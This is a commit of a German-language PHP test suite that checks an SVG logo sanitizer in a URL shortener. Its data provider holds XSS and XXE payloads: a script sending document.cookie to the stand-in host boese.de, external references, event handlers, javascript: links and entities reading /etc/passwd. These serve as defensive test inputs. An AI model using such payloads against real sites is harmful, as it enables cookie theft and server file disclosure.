test: Testsuite fuer Kernlogik, QR-Codes, Domains und Sicherheit
232 Tests, unter anderem: - Slug-Erzeugung, Kollisionsbehandlung und Validierung - URL-Validierung inklusive IDN, Prozentkodierung und abgelehnter Protokolle; Punycode gegengeprueft gegen idn_to_ascii - QR-Erzeugung in allen Groessen, mit Logo und Level-H-Automatik - Weiterleitung gegen eine echte SQLite-Datenbank samt Domain- Aufloesung ueber den Host-Header - Update einer bestehenden Installation auf mehrere Domains - Angriffsseitig: gefaelschte Proxy-Header, Host-Header-Injektion, SVG mit Skripten, XXE und externen Referenzen
This commit is contained in:
@@ -0,0 +1,195 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Tests\Security;
|
||||
|
||||
use App\Qr\LogoStore;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* SVG ist XML und darf Skripte, externe Referenzen und Entities
|
||||
* enthalten. Ein hochgeladenes Logo darf daraus nichts mitbringen -
|
||||
* weder fuer den Browser (gespeichertes XSS) noch fuer ImageMagick
|
||||
* beim Rastern (Abruf fremder Adressen vom Server aus).
|
||||
*/
|
||||
final class SvgSanitizerTest extends TestCase
|
||||
{
|
||||
private string $uploadDir;
|
||||
private string $tmpDir;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
$suffix = bin2hex(random_bytes(4));
|
||||
$this->uploadDir = sys_get_temp_dir() . '/urlshort-svg-' . $suffix;
|
||||
$this->tmpDir = sys_get_temp_dir() . '/urlshort-svgtmp-' . $suffix;
|
||||
mkdir($this->uploadDir, 0775, true);
|
||||
mkdir($this->tmpDir, 0775, true);
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
|
||||
foreach (glob($dir . '/*') ?: [] as $file) {
|
||||
unlink($file);
|
||||
}
|
||||
if (is_dir($dir)) {
|
||||
rmdir($dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function store(string $svg): string
|
||||
{
|
||||
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
|
||||
file_put_contents($path, $svg);
|
||||
|
||||
$store = new LogoStore($this->uploadDir);
|
||||
$filename = $store->store([
|
||||
'name' => 'logo.svg',
|
||||
'tmp_name' => $path,
|
||||
'size' => strlen($svg),
|
||||
'error' => UPLOAD_ERR_OK,
|
||||
], 1);
|
||||
|
||||
return (string) file_get_contents($this->uploadDir . '/' . $filename);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string,array{0:string,1:list<string>}>
|
||||
*/
|
||||
public static function payloadProvider(): array
|
||||
{
|
||||
$open = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">';
|
||||
$close = '</svg>';
|
||||
|
||||
return [
|
||||
'Skriptblock' => [
|
||||
$open . '<script>fetch("//boese.de?c="+document.cookie)</script>' . $close,
|
||||
['<script', 'fetch('],
|
||||
],
|
||||
'Skript selbstschliessend' => [
|
||||
$open . '<script src="//boese.de/x.js"/>' . $close,
|
||||
['<script', 'boese.de'],
|
||||
],
|
||||
'onload-Handler' => [
|
||||
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" viewBox="0 0 10 10">' . $close,
|
||||
['onload', 'alert(1)'],
|
||||
],
|
||||
'onclick ohne Anfuehrungszeichen' => [
|
||||
$open . '<circle cx="5" cy="5" r="4" onclick=alert(1)/>' . $close,
|
||||
['onclick', 'alert(1)'],
|
||||
],
|
||||
'onbegin in animate' => [
|
||||
$open . '<animate onbegin="alert(1)" attributeName="x"/>' . $close,
|
||||
['onbegin', 'alert(1)'],
|
||||
],
|
||||
'javascript-href' => [
|
||||
$open . '<a href="javascript:alert(1)">x</a>' . $close,
|
||||
['javascript:'],
|
||||
],
|
||||
'externe xlink:href' => [
|
||||
$open . '<use xlink:href="https://boese.de/payload.svg#x"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'externes Bild' => [
|
||||
$open . '<image href="http://boese.de/track.png" width="10" height="10"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'file-Referenz' => [
|
||||
$open . '<image href="file:///etc/passwd" width="10" height="10"/>' . $close,
|
||||
['/etc/passwd', 'file:'],
|
||||
],
|
||||
'XXE per Entity' => [
|
||||
'<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
|
||||
. $open . '<text>&xxe;</text>' . $close,
|
||||
['<!DOCTYPE', '<!ENTITY', '/etc/passwd'],
|
||||
],
|
||||
'externes Stylesheet' => [
|
||||
'<?xml-stylesheet type="text/css" href="https://boese.de/x.css"?>' . $open . $close,
|
||||
['xml-stylesheet', 'boese.de'],
|
||||
],
|
||||
'CSS-Import' => [
|
||||
$open . '<style>@import url("https://boese.de/x.css");</style>' . $close,
|
||||
['@import', 'boese.de'],
|
||||
],
|
||||
'CSS url() nach aussen' => [
|
||||
$open . '<rect fill="url(https://boese.de/x.svg#p)" width="10" height="10"/>' . $close,
|
||||
['boese.de'],
|
||||
],
|
||||
'foreignObject mit HTML' => [
|
||||
$open . '<foreignObject><body xmlns="http://www.w3.org/1999/xhtml">'
|
||||
. '<script>alert(1)</script></body></foreignObject>' . $close,
|
||||
['foreignObject', '<script', 'alert(1)'],
|
||||
],
|
||||
'iframe' => [
|
||||
$open . '<iframe src="https://boese.de/"></iframe>' . $close,
|
||||
['<iframe', 'boese.de'],
|
||||
],
|
||||
'Grossschreibung' => [
|
||||
$open . '<SCRIPT>alert(1)</SCRIPT>' . $close,
|
||||
['alert(1)'],
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $forbidden
|
||||
* @dataProvider payloadProvider
|
||||
*/
|
||||
public function testPayloadsAreRemoved(string $svg, array $forbidden): void
|
||||
{
|
||||
$stored = $this->store($svg);
|
||||
|
||||
foreach ($forbidden as $needle) {
|
||||
self::assertStringNotContainsStringIgnoringCase(
|
||||
$needle,
|
||||
$stored,
|
||||
sprintf('"%s" darf nach der Bereinigung nicht mehr enthalten sein.', $needle),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function testHarmlessContentSurvives(): void
|
||||
{
|
||||
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">'
|
||||
. '<defs><linearGradient id="verlauf"><stop offset="0" stop-color="#0b4f9e"/></linearGradient></defs>'
|
||||
. '<rect width="100" height="100" fill="url(#verlauf)"/>'
|
||||
. '<circle cx="50" cy="50" r="40" fill="#ff0000"/>'
|
||||
. '<path d="M10 10 L90 90" stroke="#000000" stroke-width="2"/>'
|
||||
. '<use href="#verlauf"/>'
|
||||
. '</svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringContainsString('<circle', $stored);
|
||||
self::assertStringContainsString('#ff0000', $stored);
|
||||
self::assertStringContainsString('<path', $stored);
|
||||
// Interne Verweise bleiben erhalten, sonst waeren Verlaeufe kaputt.
|
||||
self::assertStringContainsString('url(#verlauf)', $stored);
|
||||
self::assertStringContainsString('href="#verlauf"', $stored);
|
||||
}
|
||||
|
||||
public function testEmbeddedRasterImageIsKept(): void
|
||||
{
|
||||
$dataUri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
|
||||
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||
. '<image href="' . $dataUri . '" width="10" height="10"/></svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringContainsString('data:image/png;base64,', $stored);
|
||||
}
|
||||
|
||||
public function testEncodedJavascriptHrefIsRemoved(): void
|
||||
{
|
||||
// HTML-Entities werden vor der Pruefung aufgeloest.
|
||||
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||
. '<a href="javascript:alert(1)">x</a></svg>';
|
||||
|
||||
$stored = $this->store($svg);
|
||||
|
||||
self::assertStringNotContainsStringIgnoringCase('alert(1)', $stored);
|
||||
self::assertStringNotContainsStringIgnoringCase('avascript:', $stored);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user